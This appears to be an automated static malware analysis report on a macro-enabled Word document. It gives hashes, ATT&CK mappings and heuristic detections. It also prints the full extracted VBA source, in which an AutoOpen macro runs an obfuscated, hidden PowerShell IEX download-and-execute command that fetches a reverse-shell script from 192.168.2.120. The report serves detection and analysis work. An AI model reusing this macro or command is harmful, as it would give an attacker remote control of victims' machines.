Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a96b57fbd8a945c5…

MALICIOUS

Office (OOXML)

19.2 KB Created: 2021-05-31 07:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: 7a366a134535101afd7b7c066d1b89eb SHA-1: 79c97db3901dfefb0801c7a693439df70c3fddf1 SHA-256: a96b57fbd8a945c52d5331380f1064b8e29b53dc59602f5749d9f4037a7f4520
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer T1071.001 Web Protocols

The sample contains VBA macros that are triggered by the AutoOpen function. These macros utilize WScript.Shell and CreateObject to execute a PowerShell command. The command uses IEX to download and run a script from the URL http://192.168.2.120/reverse_shell_120_4444.ps1, which is likely intended to establish a reverse shell. The obfuscated nature of the PowerShell command and the use of a private IP address suggest a targeted attack.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/reverse_shell_120_4444.ps1 Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1570 bytes
SHA-256: ad63d838bf026f0ea29e20d0e17b76658d3a00de4498f5dde273aaa3b3d06aae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
#Else
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
#End If
Private Const VK_F9 = &H78



Sub AutoOpen()

    checkDay
    
End Sub


Sub checkDay()

    Do While Weekday(Now()) = vbTuesday
        MsgBox "Today is Tuesday"
        WaitUntilF9Key
        
    'ElseIf Weekday(Now()) <> vbTuesday Then
        'MsgBox "Today is not Tuesday"
    
    'ElseIf Weekday(Now()) = vbThursday Then
        'MsgBox "Today is Thursday"
        
    'ElseIf Weekday(Now()) <> vbThursday Then
        'MsgBox "Today is not Thursday"
        
    'End If

   Loop
   
End Sub


Sub WaitUntilF9Key()
Do Until GetAsyncKeyState(VK_F9)
    DoEvents
Loop
 Shello
End Sub


Function Shello()

  Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 0767e5e5d5eea9055b5ccec6ff9a32f295159eb4fdbc6f8c53ef57fa4058e0bf

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